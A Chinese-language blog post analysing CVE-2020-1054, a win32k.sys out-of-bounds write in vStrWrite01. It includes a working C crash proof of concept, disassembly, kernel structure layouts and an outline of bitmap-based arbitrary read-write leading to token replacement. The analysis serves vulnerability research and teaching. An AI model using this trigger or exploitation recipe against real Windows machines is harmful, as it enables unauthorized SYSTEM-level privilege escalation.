CVE-2020-1054越界写入本地提权分析


0x01 漏洞描述

CVE-2020-1054是win32k.sys内核模块的oob(out of band)漏洞。成功利用可以导致权限提升。漏洞存在于win32k!vStrWrite01函数中,函数在对BitMap对象中的pvScan0成员指向的像素区域进行读写的时候,没有判断读写的地址是否超过BitMap对象的像素点范围,是否越界,导致BSOD的产生。通过合理的内存布局,可以利用漏洞扩大目标BitMap对象的sizelBitmap来扩大BitMap对象的可读写范围,利用扩大读写范围的BitMap对象来修改另一个BitMap对象的pvScan0就能实现任意地址读写。

0x02 漏洞分析

蓝屏poc

##include <Windows.h>
##include <inttypes.h>
##include <stdint.h>
##include <stdio.h>
##include <stdlib.h>
int main(int argc, char* argv[])
{
    LoadLibraryA("user32.dll");
    HDC r0 = CreateCompatibleDC(0x0); //创建与指定设备兼容的内存设备上下文环境
    HBITMAP r1 = CreateCompatibleBitmap(r0, 0x9f42, 0xa);//创建与指定设备环境相关的设备兼容位图
    //HBITMAP r1 = CreateCompatibleBitmap(r0, 0x51500, 0x100);//创建与指定设备环境相关的设备兼容位图
    SelectObject(r0, r1); //选择一对象到指定的设备上下文环境中,该对象替换先前的相同类型对象
    DrawIconEx(r0, 0x0, 0x0, (HICON)0x30000010003, 0x0, 0xfffffffffebffffc, 0x0, 0x0, 0x6);
    return 0;
}

CreateCompatibleBitmap

创建与指定设备上下文关联的设备兼容位图

HBITMAP CreateCompatibleBitmap(
  [in] HDC hdc, //设备上下文的句柄
  [in] int cx,  //位图宽度
  [in] int cy   //位图高度
);

DrawIconEx

将图标和光标绘制到指定设备上下文中,执行指定光栅操作,指定拉伸或压缩图标光标。

BOOL DrawIconEx(
  [in]           HDC    hdc,
  [in]           int    xLeft,
  [in]           int    yTop,
  [in]           HICON  hIcon,//绘制图标和光标的句柄
  [in]           int    cxWidth,//图标或光标逻辑宽度
  [in]           int    cyWidth,//图标或光标逻辑高度
  [in]           UINT   istepIfAniCur,
  [in, optional] HBRUSH hbrFlickerFreeDraw,
  [in]           UINT   diFlags
);

崩溃地址为win32k!vStrWrite01+0x36a

vStrWrite01

StrWrite01(struct _STRRUN *prun, struct _XRUNLEN *a2, struct SURFACE *pSurf, struct _CLIPOBJ *a4)

OID vStrWrite01(STRRUN  *prun, 
                 XRUNLEN *pxrlEnd,
                 SURFACE *pSurf,
                 CLIPOBJ *pco)

相关结构体

typedef struct _XRUNLEN
{
    LONG    xPos;
    LONG    cRun;
    LONG    aul[1];
} XRUNLEN;
 
typedef struct _STRRUN
{
    LONG    yPos;
    LONG    cRep;
    XRUNLEN xrl;
} STRRUN;
 
 
typedef struct tagSIZE {
    LONG cx;
    LONG cy;
} SIZE,*PSIZE,*LPSIZE;
  
typedef SIZE SIZEL;

BASEOBJECT结构体

typedef struct _BASEOBJECT64{
  ULONG64 hHmgr;     // 0x00
  ULONG32 ulShareCount;      // 0x08
  WORD cExclusiveLock;       // 0x0A
  WORD BaseFlags;        // 0x0C
  ULONG64 Tid;           // 0x10
} BASEOBJECT64;

SURFOBJ结构体

typedef struct _SURFOBJ64{
  BASEOBJECT64 baseObj;    // 0x00
  ULONG64 dhsurf;         // 0x18
  ULONG64 hsurf;          // 0x20
  ULONG64 dhpdev;         // 0x28
  ULONG64 hdev;           // 0x30
  SIZEL sizlBitmap;       // 0x38
  ULONG64 cjBits;         // 0x40
  ULONG64 pvBits;         // 0x48
  ULONG64 pvScan0;        // 0x50
  ULONG32 lDelta;         // 0x58
  ULONG32 iUniq;          // 0x5C
  ULONG32 iBitmapFormat;  // 0x60
  USHORT iType;           // 0x64
  USHORT fjBitmap;        // 0x66
} SURFOBJ64;

pvScan01指向Pixel Data数据区,这些数据可以通过GetBitmapBits和SetBitmapBits控制

sizlBitmap是两个Dword,包含位图的高度和宽度。

触发地点

崩溃地址为win32k!vStrWrite01+0x36a,mov esi,[r14]

.text:FFFFF97FFF0A2175                 lea     r14, [rcx+rax*4]
.text:FFFFF97FFF0A2179                 test    ebx, ebx
.text:FFFFF97FFF0A217B                 js      short loc_FFFFF97FFF0A2192
.text:FFFFF97FFF0A217D                 mov     rax, [rsp+0A8h+arg_10]
.text:FFFFF97FFF0A2185                 cmp     ebx, [rax+38h]
.text:FFFFF97FFF0A2188                 jge     short loc_FFFFF97FFF0A2192
.text:FFFFF97FFF0A218A                 mov     esi, [r14]

内存地址由rcx和rax决定。

vStrWrite01流程

loc_FFFFF97FFF0A20B4

用rcx和rax计算r14的内存地址,之后执行mov esi,[r14]指令。

如果r14地址合法,对读到的值进行or或者and运算,并把运算后的值赋值回r14指向的内存地址。

如果控制了崩溃处的destAddr(越界地址oobAddr),就可以进行内存破坏。

之后对rcx进行操作,判断r11d是否为0,不为0跳转到loc_FFFFF97FFF0A212B,进行r11d减1操作。

函数流程如下

while ()
{
	do {
		/* 
		lea  r14, [rcx + rax * 4] 
		rcx = pSurf->lDelta * prun->yPos + pSurf->pvScan0
		rax = prun->xrl->xPos >> 5
		*/
		r14 = rcx + 4 * (prun->xrl->xPos >> 5); //读取时的oobAddr,rcx + rax * 4
		...
		tmp = *destAddr  //崩溃

		do {

			if () {
				tmp |= xxxxxx
			}
			else {
				tmp &= xxxxxx
			}
		}while(r11d)
            --r11d;
			if () { 
				*destAddr = tmp; //满足条件,写入oobAddr
			}
	} while ()
        
		/*
		add rcx, rax
        rcx = rcx + pSurf->lDelta
        */
		rcx += pSurf->lDelta;//每次循环obbAddr会增加
}

对r14指向的内存进行读写

rcx = pSurf->lDelta * prun->yPos + pSurf->pvScan0
rax = prun->xrl->xPos >> 5
lea  r14, [rcx+rax*4]
rcx = rcx + pSurf->lDelta

循环的操作如下

for(i = 0; i<prun->yPos; i++)
{
    r14 = pSurf->lDelta * prun->yPos + pSurf->pvScan0 + 4*(prun->xrl->xPos) + i*pSurf->lDelta
}

0x03 漏洞利用

崩溃时的指令是mov esi, [r14],由于引用无效的内存发生,是越界写入漏洞。崩溃时访问的地址能通过oob控制其中的内容。影响读写oobAddr的值有prun->yPospSurf->lDeltaprun->xrl->xPos和循环次数

DrawIconEx(exploit_dc, 0x0, 0x0, (HICON)0x40000010003, 0x0, 0xffe00000, 0x0, 0x0, 0x1);

yPos有DrawIconEx中的arg3和arg有关

##include<stdio.h>
int main(){
    int arg3 = 0xb;
    int arg6 = 0xffe00000;
    int yPos = 0;
    int remainder_count = 0;
    int quotient_count = 0;
    int mod_num = (arg3+1-(arg6+arg3+1)) % 0x20;
    int div_num = (arg3+1-(arg6+arg3+1))/ 0x20;
    if(0xf+mod_num>=0x20){
        remainder_count = mod_num;
        quotient_count = div_num+1;
        yPos = (remainder_count-1-1)*(div_num+1) \
              + div_num +arg6 + arg3+1;
    }else{
        remainder_count = mod_num;
        quotient_count = div_num;
        yPos = (0x20-1-1)*div_num+arg6+arg3+1;
    }
    printf("arg3: 0x%x\n",arg3);
    printf("arg6: 0x%x\n",arg6);
    printf("yPos First: 0x%x\n",yPos);
    printf("yPos Second: 0x%x\n",(yPos+quotient_count));
    return 0;
}

prun -> xrl.xPos:0x900

pSurf->lDelta:0xa2a0

prun->xPos:0xb

地址任意读写

SIZEL sizlBitmap,是限定位图的长宽的,存储Pixel Data的长宽大小,四字节写可修改Pixel Data的大小

利用过程

CreateCompatibleBitmap申请VulBITMAP,并获得VulBITMAP的内核地址
计算oob读写地址
在oob读地址处申请BITMAP1,在oob写处申请BITMAP2,大小为0x7000
触发漏洞,读取BITMAP1中的sIzlBitmap值,修改BITMAP2对象的sizlBitmap值,对BITMAP2使用SetBitmapBits和GetBitmapBits越界读写BITMAP3的pvScan0
BITMAP2作为Manager,BITMAP3作为worker,实现任意读写,替换token等提权


文章作者: 大茗茗のblog
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 大茗茗のblog !
  目录